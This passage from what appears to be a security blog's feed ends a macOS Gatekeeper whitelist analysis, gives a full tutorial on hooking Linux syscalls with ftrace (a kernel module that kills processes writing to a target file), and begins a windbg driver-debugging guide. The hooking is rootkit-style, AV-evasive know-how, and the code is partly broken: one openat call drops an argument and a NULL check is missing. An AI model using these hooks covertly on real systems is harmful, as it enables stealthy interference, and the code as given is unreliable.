  &lt;/dict&gt;</code></pre><p></p><ul><li><code>00426538-36a2-42e6-8b2f-641385980298</code> - id for that entrie/rule. </li><li><strong>cdhash</strong> - cdhash of the main macho file.</li><li><strong>path</strong> - probably implies the method through which the whitelist will be applicable. always set to &quot;(gke)&quot;.</li><li><strong>screen</strong> - hash of Info.plist from bundle. Can have any of the following format.</li></ul><!--kg-card-begin: markdown--><p>&quot;I&quot; + sha-1 - Old method<br>
&quot;R&quot; + sha-256 - New default<br>
&quot;N&quot; - In case of standalone macho (no practicle entry)<br>
&quot;M&quot; + sha-1 - In case of anything else (no practicle entry)</p>
<!--kg-card-end: markdown--><ul><li><strong>type</strong> - It&apos;s unclear if this field is similar to &apos;type&apos; field in SystemPolicy.db. Mostly value set to 1 or 2 in case of screen is sha-1 hash and 3 in case screen is sha-256.</li><li><strong>version</strong> - Rule version(optional). Value lies from 1 to 3. </li></ul><p>There are more than <em>2000</em> entries in gke.auth. Most of the applications whitelisted here are Intel x86 unsigned bundles(any type like .app or .kext) from trusted vendors like vmware, eclipse etc. Surprisingly, while looking for those Info.plist hashes on VirusTotal I found some entries to be flagged as malicious by multiple vendors.</p><p><code><strong>gk.db</strong></code> is another sqlite db present on gke.bundle. It contains one main table named <code>timestamp_exceptions</code> which contain cdhashes in a weird(decimal bytes with comma) format. </p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-27-at-12.45.28-AM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p>There is no information available about the usage of this db in macos&apos;s available source code. But I guess this is another type of whitelisting for standalone macho files. </p><p><strong>gkopaque.bundle</strong></p><p>It is another loadable bundle which contain only one important file, <code>gkopaque.bundle/Contents/Resources/gkopaque.db</code>. It has been said that this bundle is used for whitelisting application before gke.bundle since later one is added on quite recent macos version.</p><p><code><strong>gkopaque.db</strong></code> is the SQLite db file present in gkopaque bundle. It uses for whitelisting application/executables before gke.bundle was introduced, but macos still uses it in some way. The database file has 3 tables:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-28-at-12.29.54-PM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p>Primary table name is &quot;<em>whitelist</em>&quot;. whitelist contain 2 columns:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/01/Screenshot-2022-01-28-at-12.32.37-PM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><p>both column contain cdhashes of executable that needed to be whitelist. The usage of these column is mentioned in following funtion in <code>opaquewhitelist.cpp</code>. &#xA0;</p><pre><code>
//
// Check if a code object is whitelisted
//
bool OpaqueWhitelist::contains(SecStaticCodeRef codeRef, SecAssessmentFeedback feedback, OSStatus reason)
{
	// make our own copy of the code object, so we can poke at it without disturbing the original
	SecPointer&lt;SecStaticCode&gt; code = new SecStaticCode(SecStaticCode::requiredStatic(codeRef)-&gt;diskRep());

	CFCopyRef&lt;CFDataRef&gt; current = code-&gt;cdHash();	// current cdhash
	CFDataRef opaque = NULL;	// holds computed opaque cdhash
	bool match = false; 	// holds final result

	if (!current)
		return false;	// unsigned

	// collect auxiliary information for trace
	CFRef&lt;CFDictionaryRef&gt; info;
	std::string team = &quot;&quot;;
	CFStringRef cfVersion = NULL, cfShortVersion = NULL, cfExecutable = NULL;
	...
    ...

	// compute and attach opaque signature
	attachOpaque(code-&gt;handle(false), feedback);
	opaque = code-&gt;cdHash();

	// lookup current cdhash in whitelist
	if (opaque) {
		SQLite::Statement lookup(*this, &quot;SELECT opaque FROM whitelist WHERE current=:current&quot;
			&quot; AND opaque != &apos;disable override&apos;&quot;);
		lookup.bind(&quot;:current&quot;) = current.get();
		while (lookup.nextRow()) {
			CFRef&lt;CFDataRef&gt; expected = lookup[0].data();
			if (CFEqual(opaque, expected)) {
				match = true;	// actual opaque cdhash matches expected
				break;
			}
		}
	}
    ...
    ...</code></pre><p>Code above gives an idea that the cdhash of the target executable is compared with an opaque list, and if the hashes match than the cdhash get whitelisted. It is still unclear why the MAC developers are using both the list and why there are multiple entries for one cdhash in the current list. Aside from that, it is mentioned by someone on a twitter thread that MacOS version 10.9.4 contain an agent that uploads these cdhashes to apple server. So, from there they have developed this whitelist.</p><figure class="kg-card kg-embed-card"><blockquote class="twitter-tweet" data-width="550"><p lang="en" dir="ltr">OK nerds, the sequel to &quot;Accepted CDHash&quot; is here, discussing Apple&#x2019;s whitelist of 3rd party code signature hashes: <a href="http://t.co/zWU0VlpHst?ref=nixhacker.com">http://t.co/zWU0VlpHst</a></p>&#x2014; daniel.free (@danielpunkass) <a href="https://twitter.com/danielpunkass/status/519209674076590080?ref_src=twsrc%5Etfw&amp;ref=nixhacker.com">October 6, 2014</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
</figure><p>Another table in this database is named <em><strong>conditions</strong></em> which contain only two entries. Both are to whitelist google chrome applications.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2022/02/Screenshot-2022-02-22-at-12.10.04-AM.png" class="kg-image" alt="Uncovering the  security protections in MacOS - Gatekeeper" loading="lazy"></figure><h3 id="conclusion">Conclusion</h3><p>Although gatekeeper is a prevalent security feature for MacOS, but time to time there are multiple CVE&apos;s arises which shows the implementation requires lots of fixes to make it more robust. CVE&apos;s like CVE-2021-30657 and CVE-2021-30853 shown it&apos;s not complicated to find a way to bypass gatekeeper.</p><p>In the next part, we will be discussing xprotect and notarization. Stay tuned.</p><h3></h3>]]></content:encoded></item><item><title><![CDATA[Hooking or Monitoring System calls in linux using ftrace]]></title><description><![CDATA[In this post we will see how can you use ftrace to hook linux system calls. For learning purpose, we will create a kernel module that will make any target file immutable in system.]]></description><link>http://nixhacker.com/hooking-syscalls-in-linux-using-ftrace/</link><guid isPermaLink="false">63adf451ba93f615aa877793</guid><category><![CDATA[Rootkits]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Tutorial]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Thu, 23 Sep 2021 21:43:15 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2021/09/81mkoI6nrCL._AC_SL1444_.jpg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2021/09/81mkoI6nrCL._AC_SL1444_.jpg" alt="Hooking or Monitoring System calls in linux using ftrace"><p>If you ever tought about hooking system calls in linux from userspace or kernel space, the most common methods you must have heard are:</p><p>1) By inject a library using <code>LD_PRELOAD</code>(user mode).</p><p>2) Modifying Syscall table(kernel mode).</p><p>But both methods have their limitations. The first mutual limitation is, both are most known/expected techniques used by attackers, so they are the first thing an AV product or researcher checks. For <code>LD_PRELOAD</code> other limitation is it&apos;s per process based (ignoring <code>/etc/ld.so.preload</code> since its very easily detectable and visible). Whereas, for syscall table modification, the biggest issue is that the table is read only since kernel version 2.6.16 (although that can be bypassed by changing <code>CR0.WP</code>, but it&apos;s an extra work and an AV detection will trigger on such sequence of code.)</p><p>A better approach which we are discussing here for syscall hooking is using ftrace. It is relatively less known and more robust method since the ftrace functionality preexist in all linux kernel above 2.6.27. So, the kernel provides full support for your operations.</p><h2 id="basics-of-ftrace">Basics of Ftrace</h2><p>Ftrace is an internal tracer designed to help out developers and designers of systems to find what is going on inside the kernel.The ftrace infrastructure was originally created to attach callbacks to the beginning of functions in order to record and trace the flow of the kernel. But these callbacks can also be used for hooking/live patching or monitoring the function calls.</p><p>Ftrace can be used to trace kernel functions call from another kernel module or can be interacted from userspace using tracefs file system and <code>trace-cmd</code> tool. To monitor system calls, we will be creating a kernel module and using ftrace functionalities inside it. To learn better how to hook a system call using ftrace, we will be creating a small fun project. </p><h3 id="making-a-file-immutable-using-system-call-hooking">Making a file Immutable using system call hooking </h3><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/09/i-have-the-power.jpg" class="kg-image" alt="Hooking or Monitoring System calls in linux using ftrace" loading="lazy"></figure><p>Before getting into coding part, we need to understand the implementation that we have to follow to make a file non-writable/immutable. As a first thought it must come in your mind that we need to hook the <code>sys_write</code> syscall and if write operation is occurred in our target file then block it. But that method is partially complete. If you check the format of <code>sys_write</code> call:</p><pre><code class="language-C">long sys_write(unsigned int fd, const char __user *buf,
			  size_t count);</code></pre><p>You will notice that we don&apos;t pass the filename as funtion argument, rather the call relies on file descriptor (1st arg) to identify which file to write on. You must have guessed it by now that we also need to hook <code>sys_open</code> along with <code>sys_write</code> to get the filename. In modern linux systems <code>sys_open</code> has been deprecated and replaced by <code>sys_openat</code>. So, we need to hook that rather than <code>sys_open</code>:</p><pre><code class="language-C">long sys_openat(int dfd, const char __user *filename, int flags,
			   umode_t mode);</code></pre><p>Once we hook both calls, In <code>sys_openat</code> if we see the target filename then we need to store the <em>process id</em> and <em>file descriptor</em> of the calling process. <code>PID</code> is required since the file descriptors value can be similar between different process as the <code>fd</code> field is not global but process specific data. On every <code>sys_write</code>, we need to check if the write is done by our calling process and fd is similar or not. If it matches with our store data then we can block it. So, let&apos;s start understanding the ftrace usage and write the code in parallel.</p><p>Ftrace code can be called by importing <code>ftrace.h</code>.</p><pre><code>#include &lt;linux/ftrace.h&gt;</code></pre><p> To register a function callback, a <code>ftrace_ops</code> is required. This structure is used to tell ftrace what function should be called as the callback as well as what protections the callback will perform and not require ftrace to handle.</p><pre><code>struct ftrace_ops ops = {
      .func                    = my_callback_func,
      .flags                   = MY_FTRACE_FLAGS
      .private                 = any_private_data_structure,
};
</code></pre><p>From this we only need to set <code>.func</code>, others are optional. </p><p>To enable and disable tracing, following calls can be used:</p><pre><code class="language-C">register_ftrace_function(&amp;ops);

unregister_ftrace_function(&amp;ops);</code></pre><p>The callback function <code>ops-&gt;func</code> can be defined in the following format:</p><pre><code>void callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct pt_regs *regs);
</code></pre><!--kg-card-begin: markdown--><p><strong>@ip</strong> This is the instruction pointer of the function that is being traced. (where the fentry or mcount is within the function)<br>
<strong>@parent_ip</strong> This is the instruction pointer of the function that called the the function being traced (where the call of the function occurred).<br>
<strong>@op</strong> This is a pointer to ftrace_ops that was used to register the callback. This can be used to pass data to the callback via the private pointer.<br>
<strong>@regs</strong> If the <code>FTRACE_OPS_FL_SAVE_REGS</code> or <code>FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED</code> flags are set in the ftrace_ops structure, then this will be pointing to the pt_regs structure like it would be if an breakpoint was placed at the start of the function where ftrace was tracing. Otherwise it either contains garbage, or NULL.</p>
<!--kg-card-end: markdown--><p>If a callback is only to be called from specific functions, a filter must be set up. The filters are added by name, or ip if it is known.</p><pre><code class="language-C">int ftrace_set_filter(struct ftrace_ops *ops, unsigned char *buf,
                      int len, int reset);
</code></pre><p>Filters denote which functions should be enabled when tracing is enabled. If <code>buf</code> is NULL and reset is set, all functions will be enabled for tracing.</p><p>Using the above pieces of information, let&apos;s try to write the hook:</p><pre><code class="language-C">
unsigned int target_fd = 0;
unsigned int target_pid = 0;
#if LINUX_VERSION_CODE &gt;= KERNEL_VERSION(5,7,0)
static unsigned long lookup_name(const char *name)
{
	struct kprobe kp = {
		.symbol_name = name
	};
	unsigned long retval;

	if (register_kprobe(&amp;kp) &lt; 0) return 0;
	retval = (unsigned long) kp.addr;
	unregister_kprobe(&amp;kp);
	return retval;
}
#else
static unsigned long lookup_name(const char *name)
{
	return kallsyms_lookup_name(name);
}
#endif

#if LINUX_VERSION_CODE &lt; KERNEL_VERSION(5,11,0)
#define FTRACE_OPS_FL_RECURSION FTRACE_OPS_FL_RECURSION_SAFE
#endif

#if LINUX_VERSION_CODE &lt; KERNEL_VERSION(5,11,0)
#define ftrace_regs pt_regs

static __always_inline struct pt_regs *ftrace_get_regs(struct ftrace_regs *fregs)
{
	return fregs;
}
#endif

/*
 * There are two ways of preventing vicious recursive loops when hooking:
 * - detect recusion using function return address (USE_FENTRY_OFFSET = 0)
 * - avoid recusion by jumping over the ftrace call (USE_FENTRY_OFFSET = 1)
 */
#define USE_FENTRY_OFFSET 0

/**
 * struct ftrace_hook - describes a single hook to install
 *
 * @name:     name of the function to hook
 *
 * @function: pointer to the function to execute instead
 *
 * @original: pointer to the location where to save a pointer
 *            to the original function
 *
 * @address:  kernel address of the function entry
 *
 * @ops:      ftrace_ops state for this function hook
 *
 * The user should fill in only &amp;name, &amp;hook, &amp;orig fields.
 * Other fields are considered implementation details.
 */
struct ftrace_hook {
	const char *name;
	void *function;
	void *original;

	unsigned long address;
	struct ftrace_ops ops;
};

static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
	hook-&gt;address = lookup_name(hook-&gt;name);

	if (!hook-&gt;address) {
		pr_debug(&quot;unresolved symbol: %s\n&quot;, hook-&gt;name);
		return -ENOENT;
	}

#if USE_FENTRY_OFFSET
	*((unsigned long*) hook-&gt;original) = hook-&gt;address + MCOUNT_INSN_SIZE;
#else
	*((unsigned long*) hook-&gt;original) = hook-&gt;address;
#endif

	return 0;
}

static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
		struct ftrace_ops *ops, struct ftrace_regs *fregs)
{
	struct pt_regs *regs = ftrace_get_regs(fregs);
	struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);

#if USE_FENTRY_OFFSET
	regs-&gt;ip = (unsigned long)hook-&gt;function;
#else
	if (!within_module(parent_ip, THIS_MODULE))
		regs-&gt;ip = (unsigned long)hook-&gt;function;
#endif
}

/**
 * fh_install_hooks() - register and enable a single hook
 * @hook: a hook to install
 *
 * Returns: zero on success, negative error code otherwise.
 */
int fh_install_hook(struct ftrace_hook *hook)
{
	int err;

	err = fh_resolve_hook_address(hook);
	if (err)
		return err;

	/*
	 * We&apos;re going to modify %rip register so we&apos;ll need IPMODIFY flag
	 * and SAVE_REGS as its prerequisite. ftrace&apos;s anti-recursion guard
	 * is useless if we change %rip so disable it with RECURSION.
	 * We&apos;ll perform our own checks for trace function reentry.
	 */
	hook-&gt;ops.func = fh_ftrace_thunk;
	hook-&gt;ops.flags = FTRACE_OPS_FL_SAVE_REGS
	                | FTRACE_OPS_FL_RECURSION
	                | FTRACE_OPS_FL_IPMODIFY;

	err = ftrace_set_filter_ip(&amp;hook-&gt;ops, hook-&gt;address, 0, 0);
	if (err) {
		pr_debug(&quot;ftrace_set_filter_ip() failed: %d\n&quot;, err);
		return err;
	}

	err = register_ftrace_function(&amp;hook-&gt;ops);
	if (err) {
		pr_debug(&quot;register_ftrace_function() failed: %d\n&quot;, err);
		ftrace_set_filter_ip(&amp;hook-&gt;ops, hook-&gt;address, 1, 0);
		return err;
	}

	return 0;
}

/**
 * fh_remove_hooks() - disable and unregister a single hook
 * @hook: a hook to remove
 */
void fh_remove_hook(struct ftrace_hook *hook)
{
	int err;

	err = unregister_ftrace_function(&amp;hook-&gt;ops);
	if (err) {
		pr_debug(&quot;unregister_ftrace_function() failed: %d\n&quot;, err);
	}

	err = ftrace_set_filter_ip(&amp;hook-&gt;ops, hook-&gt;address, 1, 0);
	if (err) {
		pr_debug(&quot;ftrace_set_filter_ip() failed: %d\n&quot;, err);
	}
}

/**
 * fh_install_hooks() - register and enable multiple hooks
 * @hooks: array of hooks to install
 * @count: number of hooks to install
 *
 * If some hooks fail to install then all hooks will be removed.
 *
 * Returns: zero on success, negative error code otherwise.
 */
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
	int err;
	size_t i;

	for (i = 0; i &lt; count; i++) {
		err = fh_install_hook(&amp;hooks[i]);
		if (err)
			goto error;
	}

	return 0;

error:
	while (i != 0) {
		fh_remove_hook(&amp;hooks[--i]);
	}

	return err;
}

/**
 * fh_remove_hooks() - disable and unregister multiple hooks
 * @hooks: array of hooks to remove
 * @count: number of hooks to remove
 */
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
	size_t i;

	for (i = 0; i &lt; count; i++)
		fh_remove_hook(&amp;hooks[i]);
}



#define HOOK(_name, _function, _original)	\
	{					\
		.name = SYSCALL_NAME(_name),	\
		.function = (_function),	\
		.original = (_original),	\
	}

static struct ftrace_hook demo_hooks[] = {
	HOOK(&quot;sys_write&quot;, fh_sys_write, &amp;real_sys_write),
	HOOK(&quot;sys_openat&quot;, fh_sys_openat, &amp;real_sys_openat),
};

static int fh_init(void)
{
	int err;

	err = fh_install_hooks(demo_hooks, ARRAY_SIZE(demo_hooks));
	if (err)
		return err;

	pr_info(&quot;module loaded\n&quot;);

	return 0;
}
module_init(fh_init);

static void fh_exit(void)
{
	fh_remove_hooks(demo_hooks, ARRAY_SIZE(demo_hooks));

	pr_info(&quot;module unloaded\n&quot;);
}
module_exit(fh_exit);</code></pre><p><code>demo_hooks</code> function have two syscalls listed <code>SYS_OPENAT</code> and <code>SYS_WRITE</code> as we decided above. </p><p>We have a <code>lookup_name</code> function that will return the address of system call in kernel memory.</p><p>Let&apos;s check how our callback will looks like. From callback we can call the original function and return the value received from original.</p><pre><code class="language-C">/*
 * x86_64 kernels have a special naming convention for syscall entry points in newer kernels.
 * That&apos;s what you end up with if an architecture has 3 (three) ABIs for system calls.
 */
#ifdef PTREGS_SYSCALL_STUBS
#define SYSCALL_NAME(name) (&quot;__x64_&quot; name)
#else
#define SYSCALL_NAME(name) (name)
#endif

#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*real_sys_write)(struct pt_regs *regs);

static asmlinkage long fh_sys_write(struct pt_regs *regs)
{
	long ret;
	
	ret = real_sys_write(regs);

	return ret;
}
#else
static asmlinkage long (*real_sys_write)(unsigned int fd, const char __user *buf,
		 size_t count);

static asmlinkage long fh_sys_write(unsigned int fd, const char __user *buf,
		 size_t count)
{
	long ret;
	
	ret = real_sys_write(fd, buf, count);

	return ret;
}
#endif


#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*real_sys_openat)(struct pt_regs *regs);

static asmlinkage long fh_sys_openat(struct pt_regs *regs)
{
	long ret;
	
	ret = real_sys_openat(regs);

	return ret;
}
#else
static asmlinkage long (*real_sys_openat)(int dfd, const char __user *filename,
				int flags, umode_t mode);

static asmlinkage long fh_sys_openat(int dfd, const char __user *filename,
				int flags, umode_t mode)
{
	long ret;
	ret = real_sys_openat(filename, flags, mode);
	return ret;
}
#endif
</code></pre><p>Our logic for making file non-writable will comes under <code>fh_sys_openat</code> and <code>fh_sys_write</code>.</p><p><strong>Finding the calling process&apos;s pid: </strong>We need to save two things in <code>fh_sys_openat</code>. First is <code>fd</code> which will be returned from <code>read_sys_openat</code>. Next is <code>pid</code>, which you will get from <code>current</code> task structure. </p><pre><code>struct task_struct *task;
task = current;
int pid = task-&gt;pid</code></pre><p>using this, let&apos;s write the logic for <code>fh_sys_openat</code></p><pre><code class="language-C">unsigned int target_fd = 0;
unsigned int target_pid = 0;


static char *duplicate_filename(const char __user *filename)
{
	char *kernel_filename;

	kernel_filename = kmalloc(4096, GFP_KERNEL);
	if (!kernel_filename)
		return NULL;

	if (strncpy_from_user(kernel_filename, filename, 4096) &lt; 0) {
		kfree(kernel_filename);
		return NULL;
	}

	return kernel_filename;
}

#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*real_sys_openat)(struct pt_regs *regs);

static asmlinkage long fh_sys_openat(struct pt_regs *regs)
{
	long ret;
	char *kernel_filename;
	struct task_struct *task;
	task = current;

	kernel_filename = duplicate_filename((void*) regs-&gt;si);
	if (strncmp(kernel_filename, &quot;/tmp/test.txt&quot;, 13) == 0)
	{
		pr_info(&quot;our file is opened by process with id: %d\n&quot;, task-&gt;pid);
		pr_info(&quot;opened file : %s\n&quot;, kernel_filename);
		kfree(kernel_filename);
		ret = real_sys_openat(regs);
		pr_info(&quot;fd returned is %ld\n&quot;, ret);
		target_fd = ret;
		target_pid = task-&gt;pid;
		return ret;
		
	}

	kfree(kernel_filename);
	ret = real_sys_openat(regs);

	return ret;
}
#else


static asmlinkage long fh_sys_openat(int dfd, const char __user *filename,
				int flags, umode_t mode)
{
	long ret;
	char *kernel_filename;
	struct task_struct *task;
	task = current;

	kernel_filename = duplicate_filename(filename);
	if (strncmp(kernel_filename, &quot;/tmp/test.txt&quot;, 13) == 0)
	{
		pr_info(&quot;our file is opened by process with id: %d\n&quot;, task-&gt;pid);
		pr_info(&quot;opened file : %s\n&quot;, kernel_filename);
		kfree(kernel_filename);
		ret = real_sys_openat(dfd, filename, flags, mode);
		pr_info(&quot;fd returned is %ld\n&quot;, ret);
		target_fd = ret;
		target_pid = task-&gt;pid;
		return ret;
		
	}

	kfree(kernel_filename);

	ret = real_sys_openat(filename, flags, mode);

	return ret;
}
#endif</code></pre><p>We are saving the <code>pid</code> and <code>fd</code> recieved from openat call into <code>target_pid</code> and <code>target_fd</code> global variable.</p><p>As an extra step, we will kill the calling process when they try to write to our monitored file. To kill a process from kernel module, we need to send <code>SIGKILL</code> to the process. The code for that will looks like this:</p><pre><code class="language-C">struct task_struct *task;
task = current;
int signum = SIGKILL;
struct kernel_siginfo info;

memset(&amp;info, 0, sizeof(struct kernel_siginfo));
info.si_signo = signum;
int ret = send_sig_info(signum, &amp;info, task);    </code></pre><p>Our complete code for <code>fh_sys_write</code> will look like this:</p><pre><code class="language-C">
#ifdef PTREGS_SYSCALL_STUBS
static asmlinkage long (*real_sys_write)(struct pt_regs *regs);

static asmlinkage long fh_sys_write(struct pt_regs *regs)
{
	long ret;
	struct task_struct *task;
	task = current;
	int signum = SIGKILL;
	if (task-&gt;pid == target_pid)
	{
		if (regs-&gt;di == target_fd)
		{
			pr_info(&quot;write done by process %d to target file.\n&quot;, task-&gt;pid);
			struct kernel_siginfo info;
			memset(&amp;info, 0, sizeof(struct kernel_siginfo));
			info.si_signo = signum;
			int ret = send_sig_info(signum, &amp;info, task);
					if (ret &lt; 0)
					{
					  printk(KERN_INFO &quot;error sending signal\n&quot;);
					}
					else 
					{
						printk(KERN_INFO &quot;Target has been killed\n&quot;);
						return 0;
					}
		}
	}

	ret = real_sys_write(regs);

	return ret;
}
#else
static asmlinkage long (*real_sys_write)(unsigned int fd, const char __user *buf,
		 size_t count);

static asmlinkage long fh_sys_write(unsigned int fd, const char __user *buf,
		 size_t count)
{
	long ret;
	struct task_struct *task;
	task = current;
	int signum = SIGKILL;
	if (task-&gt;pid == target_pid)
	{
		if (fd == target_fd)
		{
			pr_info(&quot;write done by process %d to target file.\n&quot;, task-&gt;pid);
			struct kernel_siginfo info;
			memset(&amp;info, 0, sizeof(struct kernel_siginfo));
			info.si_signo = signum;
			int ret = send_sig_info(signum, &amp;info, task);
					if (ret &lt; 0)
					{
					  printk(KERN_INFO &quot;error sending signal\n&quot;);
					}
					else 
					{
						printk(KERN_INFO &quot;Target has been killed\n&quot;);
						return 0;
					}
		}
	}
	
	ret = real_sys_write(fd, buf, count);


	return ret;
}
#endif
</code></pre><p>This is all you need to do to stop any process from modifying a file. You can find the complete code <a href="https://github.com/shubham0d/Immutable-file-linux?ref=nixhacker.com">here</a>. Once you clone the repo, run <code>make</code> command and try to write to <code>/tmp/test.txt</code> (default location). You will see something like this in <code>dmesg</code> logs.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/09/imm_file.jpg" class="kg-image" alt="Hooking or Monitoring System calls in linux using ftrace" loading="lazy"></figure><p>Now, every time someone tried to modify the file, the modification will fail and the process will get killed.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/09/i-am-untouchable.jpg" class="kg-image" alt="Hooking or Monitoring System calls in linux using ftrace" loading="lazy"></figure><h3 id="references-">References:</h3><p><a href="https://www.kernel.org/doc/html/v4.17/trace/ftrace-uses.html?ref=nixhacker.com">https://www.kernel.org/doc/html/v4.17/trace/ftrace-uses.html</a></p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://www.apriorit.com/dev-blog/546-hooking-linux-functions-2?ref=nixhacker.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Hooking Linux Kernel Functions, Part 2: How to Hook Functions with Ftrace</div><div class="kg-bookmark-description">Learn how to use ftrace - a popular Linux feature - for hooking critical kernel function calls.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://www.apriorit.com/templates/apriorit/favicon.ico" alt="Hooking or Monitoring System calls in linux using ftrace"><span class="kg-bookmark-author">Apriorit</span><span class="kg-bookmark-publisher">Super User</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://www.apriorit.com/images/articles/blog-56-s-open-graph-preview.jpg" alt="Hooking or Monitoring System calls in linux using ftrace"></div></a></figure><p><strong>Github Repo link</strong>: <a href="https://github.com/shubham0d/Immutable-file-linux?ref=nixhacker.com">https://github.com/shubham0d/Immutable-file-linux</a></p>]]></content:encoded></item><item><title><![CDATA[Remote debugging windows kernel driver(without symbols) using windbg]]></title><description><![CDATA[In this post we are going to learn few tips and tricks to debug a Windows kernel driver without symbols in windbg.]]></description><link>http://nixhacker.com/remote-debugging-windows-driver-without-symbols-using-windbg/</link><guid isPermaLink="false">63adf451ba93f615aa877792</guid><category><![CDATA[Reverse engineering]]></category><category><![CDATA[Windows OS]]></category><category><![CDATA[Rootkits]]></category><category><![CDATA[Tutorial]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Thu, 01 Jul 2021 20:13:52 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2021/06/windbg.jpg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2021/06/windbg.jpg" alt="Remote debugging windows kernel driver(without symbols) using windbg"><p>When you have to deal with Windows kernel debugging, the only option available is using windbg. Although windbg is a powerful debugger but setting it up and debugging the kernel code(specially when the driver is non default and without any symbols) is cumbersome. Even lacks of good resources for Windows kernel debugging make it more time-consuming. Inspired from that, I decide to write a small article where I can share few of my tips and tricks related to &#xA0;debugging a kernel driver without symbols in windows.</p><h2 id="installation-and-setup">Installation and Setup</h2><p>For kernel debugging we will need two windows machine since it needs to be performed remotely. The system you want debug will be called here <em>Target</em> machine and the one that you will use to connect to target is called <em>host</em> machine. &#xA0;</p><p>You can refer to this documentation of Microsoft for instructions on how to setup remote kernel debugging <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg--kernel-mode-?ref=nixhacker.com">link</a>. One situation that you might need to remember is that if your target machine is a VM, then you need to set the Network type/pci device from VirtIo (Virtual network) to any real available hardware device like Intel Gigabyte pci device.</p><p>Once you have done with setup and remote debugging has connected on the host, the first thing you might want to do is load all the symbols in windbg.</p><pre><code>kd&gt;.sympath srv*c:\MyServerSymbols*https://msdl.microsoft.com/download/symbols</code></pre><p>This will download the symbols from Microsoft symbol server and store it locally in <code>C:\MyServerSymbols</code> directory.</p><p>Few other commands that you should run before starting the debugging session are following:</p><!--kg-card-begin: markdown--><ul>
<li><code>.prefer_dml 1</code>  to turn on DML format support on debugging window.</li>
<li><code>ed nt!Kd_DEFAULT_MASK  0xFFFFFFFF</code> to change the default debug bit mask so that all debug messages from the target system will be displayed in the debugger.</li>
</ul>
<!--kg-card-end: markdown--><p> &#xA0;You will also need IDA for statically analyzing the driver file. You can download the freeware version from hex rays official website.</p><h2 id="debugging-the-driver">Debugging the driver</h2><p>In case you are debugging a Windows driver without &#xA0;symbols, setting breakpoint at the driver code can be your&apos;s biggest challenge since you need to provide the addresses of function rather than symbols to break at the driver code. The driver you are interested in debugging can be fall under any of the two conditions.</p><!--kg-card-begin: markdown--><ul>
<li>The driver is standalone driver that can be loaded manually using <code>pnputil</code>, <code>net install</code> or any 3rd party driver loading tool.</li>
<li>The driver is part of some installed application and is present at <code>Windows\System32\drivers</code> location.</li>
</ul>
<!--kg-card-end: markdown--><p>In both the cases it&apos;s better to break at the time when driver is just loaded(and DriverEntry hasn&apos;t been executed). You can use the following windbg command to do that.</p><!--kg-card-begin: markdown--><p><code>kd&gt; sxe ld drv.sys</code><br>
This will break at first chance of the driver. From there you can step next or add another break point at DriverEntry.</p>
<!--kg-card-end: markdown--><p>In first case you can just load/install the driver using <code>pnputil</code> or any other method. But for later case, you need to reboot the machine using </p><p><code>kd&gt; .reboot</code> &#xA0;</p><p>So that windows perform the driver loading again. </p><p>You can check if your driver is loaded or not using </p><p><code>kd&gt; lm</code></p><p>Our next task is to break at the DriverEntry or any other function that we are interested in debugging.</p><h3 id="breaking-at-driverentry-or-any-driver-s-function">Breaking at DriverEntry or any driver&apos;s function</h3><p>Once you have breaked on Driver loading code, you need to setup a breakpoint at DriverEntry. But since the drivers don&apos;t have symbols present, it&apos;s not possible to break by doing something like <code>kd&gt; bp drv.sys!DriverEntry</code>, rather we have to find the address of DriverEntry or other interested function in memory and setup breakpoint using that address. Finding the address of a function is little tricky , we have to use any dissembler like IDA to find the address in driver file.</p><p>In case of IDA, when you see the starting address of a function, the address is not RVA from ImageBase. The address is <em><strong>ImageBase + Section Virtual address(.text VA)/BaseOfCode &#xA0; + Offset of the function in section</strong></em>. </p><p>For example, let&apos;s check a sample driver. <code>sub_13574</code> is a &#xA0;random function shown in IDA where we want to break.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/06/Screenshot-2021-06-30-at-9.10.40-PM.png" class="kg-image" alt="Remote debugging windows kernel driver(without symbols) using windbg" loading="lazy"></figure><p>Here, the address of the function shown is <code>0x13574</code>. Now check the ImageBase and VA of <code>.text</code> section in CFF Explorer.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/06/Screenshot-2021-06-30-at-9.21.10-PM.png" class="kg-image" alt="Remote debugging windows kernel driver(without symbols) using windbg" loading="lazy"></figure><p>Here, we have ImageBase of <code>0x10000</code> and RVA of <code>.text</code> as 